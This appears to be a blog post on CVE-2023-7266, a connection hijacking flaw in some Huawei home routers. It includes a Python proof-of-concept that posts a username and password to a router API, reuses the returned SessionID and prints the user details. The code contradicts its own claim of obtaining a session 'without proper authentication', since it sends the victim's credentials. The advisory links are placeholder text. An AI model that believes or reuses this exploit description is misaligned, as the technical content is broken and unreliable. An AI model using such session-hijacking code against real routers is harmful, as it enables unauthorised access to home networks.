Recently, a connection hijacking vulnerability has been discovered in some Huawei home routers, putting users worldwide at risk for security threats. This vulnerability, assigned CVE-2023-7266, can result in Denial of Service (DoS) attacks or information leakage, compromising the privacy and security of home network users. In response to this threat, the Huawei Product Security Incident Response Team (PSIRT) assigned the Vulnerability ID: HWPSIRT-2023-76605. This long read post aims to provide essential information about the vulnerability, including a code snippet demonstrating the exploit, along with links to original references and a detailed explanation of the consequences.

Vulnerability Overview

Affected Huawei home routers have a connection hijacking vulnerability due to improper handling of user authentication. Attackers can exploit this vulnerability to hijack legitimate user connections, causing DoS attacks or potentially accessing sensitive user information.

Original References and Details

To get a comprehensive understanding of the CVE-2023-7266 vulnerability, follow this link to the Huawei Security Advisory: Huawei Security Advisory Link

You can also go through the Common Vulnerabilities and Exposures (CVE) Datasource to access the official CVE record for this vulnerability.

Proof of Concept and Exploit Details

The vulnerable portion of the router's firmware can be exploited using a malicious script. Our team has provided a code snippet below demonstrating how an attacker could take advantage of the vulnerability. Note that this code snippet is for educational purposes, and you should not reproduce it without proper authorization:

import requests
import base64

target_url = "http://IP_Address_of_Huawei_Router";
auth_payload = {
  "userName": "TARGET_USER",
  "password": base64.b64encode("TARGET_PASSWORD".encode()).decode(),
}

# Step 1: Obtain a valid session ID without proper authentication
response = requests.post(target_url + "/api/ses/ttoken", auth_payload)
session_id = response.cookies["SessionID"]

# Step 2: Access victim's router using hijacked session
hijacked_session = requests.Session()
hijacked_session.cookies.set("SessionID", session_id)

response = hijacked_session.get(target_url + "/api/user/detail")
print("[+] Hijacked User Details: ", response.text)

This code demonstrates how an attacker can obtain a valid session ID without proper authentication and then use that session ID to access the victim's router. They could then have the ability to gather sensitive data, block router access, or even change settings, which could ultimately result in a Denial of Service (DoS) attack or information leakage.

Mitigation and Recommendations

It's crucial to stay informed about the latest security patches and updates for your Huawei router. As of now, Huawei has not released a patch for this vulnerability, and no workaround has been provided. However, keep a lookout for updates by regularly visiting the Huawei Security Advisory page: Huawei Security Advisory Updates

Conclusion

The discovery of CVE-2023-7266 in Huawei home routers highlights the importance of regularly updating and securing our home network devices. As attackers continue to find new vulnerabilities to exploit, device manufacturers must also be diligent in providing timely patches to safeguard users from potential attacks. Be sure to check for updates and take necessary precautions to ensure your home network remains safe from unwanted intrusions.

Timeline

Published on: 12/28/2024 07:15:19 UTC